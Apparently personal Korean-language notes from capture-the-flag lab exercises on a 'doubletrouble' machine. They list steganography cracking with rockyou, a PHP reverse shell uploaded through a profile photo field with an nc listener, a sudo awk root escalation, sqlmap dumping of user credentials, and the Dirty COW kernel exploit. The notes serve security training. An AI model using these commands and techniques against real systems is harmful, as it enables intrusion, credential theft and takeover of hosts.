CTF : doubletrouble

gdPM 사이트

gdPM 9.1 version → XSS, SQL injection, RCE 등의 취약점이 존재한다.

→ directory Scan : gobuster 사용.

http://192.168.16.35/secret/doubletrouble.jpg 확인

Steganography로 해당 jpg 확인

→ Steyseek 라는 tool을 통해 탐색

sudo steyseek doubletrouble.jpg -wl /usr/share/wordlists/rockyou.txt -xf img

Cat img → email/pw 확인

취약점 탐색

업로드 할 수 있는 메뉴 탐색

→ My account - details - photo 부분에 업로드 가능.

→ /usr/share/webshells/php/php-reverse-shell.php를 해당 Ctf 머신에 맞게 변경

→ Photo에 맞게 설정한 reverse-shell.php 업로드

→ kali에서 sudo nc -lvnp 5555를 통해 shell에 접속

apache 기본 계정 (www-data)로 접속됨요

sudo -l : All/All No Password /usr/bin/awk

sudo awk 'BEGIN {system("/bin/bash")}

→ root 권한 획득

root dicom doubletrouble.ova 파일 압축.

다시 다른 방식에 맞게 Ctf 진행

CTF: inner

sudo sqlmap -u http://192.168.16.46/index.php --forms

sudo sqlmap -u http://192.168.16.46/index.php --forms --dbs

information_schema ) 2개의 database 확인

doubletrouble

--forms -D doubletrouble --tables

--forms -D doubletrouble -T users --dump

id: montreux pw: Gfs Zxcl

id: clapton pw: Zub Zub99

clapton 으로 ssh 접속

uname -a

Linux 3.2.0-4-amd64 버전확인

해당 버전의 CVE-list 중 CVE-2016-5195 dirty cow 사용

+ exploit-db.com 에서 EDB-ID: 40839를 이용

+ root 권한 획득가능

Bee-Box 사용법 학습